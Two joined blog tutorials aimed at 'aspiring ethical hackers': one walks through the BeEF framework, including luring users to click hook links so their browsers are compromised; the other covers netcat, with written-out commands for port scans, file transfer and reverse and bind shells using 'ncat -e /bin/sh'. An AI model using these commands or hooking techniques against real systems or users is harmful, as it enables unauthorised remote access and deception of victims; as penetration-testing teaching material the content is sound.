Hello, aspiring ethical hackers. In our previous blogposts, you learnt about Windows hacking techniques, Linux hacking techniques etc. In this blogpost, you will learn about BeEF tool that focuses on exploiting a software or program extensively used in both Linux and Windows operating systems. We are talking about web browser. BeEF is short for “The Browser Exploitation Framework”. It is a penetration testing tool focusing on the web browser.

In the noise of ever increasing cases of web server hacking and web application hacking, one that is often ignored is the exploitation of web clients, aka browser. Browsers once compromised, provide a easy way of gaining access to hackers. No doubt, attacks targeting web clients are on the rise. BeEF helps pen testers to understand the security posture of web browsers in an organization.

Let’s see how to use it. BeEF is present in the repositories of Kali Linux. We will be using the same for this tutorial. It can be installed on Kali as shown below.

After BeEF is successfully installed, don’t forget to run it with root privileges. Otherwise, it will not start.

After running for the first time, BeEF will ask you to setup a new password. Set it. Once you set it, it will start a web interface by default. Before that, it will display a hook as shown below.

Before you use BeEF further, you need to understand two terms related to it. They are,

1. Hook: A hook is something used to trap a browser.
2. Zombie: A trapped browser is known as a Zombie.

Once the web interface of BeEF opens, login with username “beef” and the password you set earlier.

Once you login, you will be greeted with the dashboard of BeEF. The interface can be divided into two parts. On the left, you will see hooked browsers section. All those browsers that are compromised by BeEF are shown here. On the right, you can see the general interface of BeEF.

It has three tabs. The “Logs” tab show all the activity happening with BeEF.

The “Zombies” tab, as you expected will display all the compromised browsers.

BeEF also has “Getting started” tab. Now, let’s see how to hook a browser. Browsers can be hooked by using the hooks shown at the beginning. You have to somehow make users click on this hook script. Of course, this requires social engineering.

For demonstration purpose, BeEF has two demo pages that work as hooks. One is basic and advanced. They can be found in “Getting Started” tab as highlighted in the above image. Here is the basic demo page and advanced demo page.

All we have to do is copy the links of the pages and make target users click on these links. As soon as they do it, the browser gets hooked as shown below.

When you click on the IP, the “current browser” tab opens, displaying general information about the target OS on which that browser is installed.

The “Current browser” tab opens a few sub-tabs of itself. You have seen about the “details” tab above. The “Logs” sub-tab shows all the logs belonging to the current browser.

The most powerful part of BeEF in its command section.

This section includes all the commands that can be executed on the target system.

For example, let’s execute a command “Detect Antivirus” as shown below. This command as its name suggests tries to detect if Antivirus is installed on target system or not. We can execute this module by clicking on “Execute” as shown below.

To see the result of the executed command, click on the command in history. It will display the result in command results window to the right.

In our case, it’s true that Antivirus is not installed on the target system. If you click on the “Zombies” tab you have learnt above earlier, your hooked browser can be seen, as shown below.

Hello, aspiring ethical hackers. In this blogpost, you will learn about the tool netcat and its use for ethical hackers. This tool along with Nmap is given a wide berth in ethical hacking courses as it can create any kind of connections.

Netcat, also known as swiss army knife in cybersecurity circles is a multi-utility tool that can perform various functions for a pen tester. Let’s learn about all the uses of it for ethical hackers.

Port scanning

Although not as versatile as Nmap, it can perform port scanning for you during scanning stage of a hack. It is less noisy and unconventional. Let’s see port 80 is open on our target system using netcat.

nc -zv <target ip> <target port>

You can scan multiple ports at once using netcat.

nc -zv <target ip> <target port 1> <target port 2> <target port 3>

You can even scan a range of ports at once using it.

nc -zv <target ip> <range of ports> 

Grabbing banners

There are other awesome banner grabbing tools but in case of subtlety netcat can also grab banners in its own quite sense. This may be helpful when you have completed gaining access on the target network and wish to grab banners of the services running from inside. It is easy to transport to the target network. This is how simple it is to grab banners with netcat. All you have to do is specify the text IP and port and hit ENTER.

nc <target ip> <target port>

For HTTP, after specifying target IP and post, type “HTTP 1.1 100” as shown below to grab the banner.

File Transfer

This function of netcat comes useful during Post-exploitation stage after you have gained access to the target system. Netcat can help you in transferring files to the target system from the attacker system. Note that both the attacker and target systems should have netcat installed.

Let’s demonstrate this. For this, we will be transferring the same file used during tutorial of steghide. First, on the target system, type the command shown below using the name of the file to be transferred.

nc -l -p <target port> > <file>

Then on the attacker system, type the below command.

nc <target IP> <target port> < <file>

Here is the file that is transferred to the target system.

Bind and Reverse shells

You have learnt about shell and different types of shells in our previous blogposts. If you want to have a quite shell after gaining access, netcat can do it for you. The most familiar scenario is gaining a reverse shell. Let’s see how to get a reverse shell with netcat. Note that there are two types of netcat available. With the original netcat, users seem to be facing some problems in gaining a shell.

Another netcat is available from the makers of Nmap. Called as “ncat”, let’s use it to get a reverse shell first. On the attacker system, type the command shown below to start a listener.

ncat -lvp <port to listen on> 

Then, type the command shown below on the target system.

ncat <attacker system's ip> <port attacker is listening on> -e /bin/sh 

As soon as you do that on the target system, we get a shell on the attacker system.

To get a bind shell, first we need to start a listener on the target system as shown below.

ncat -lvp <port to listen on> -e /bin/sh 

Then on the attacker system, do this.

nc <target IP> <target port>

Here’s the bind shell.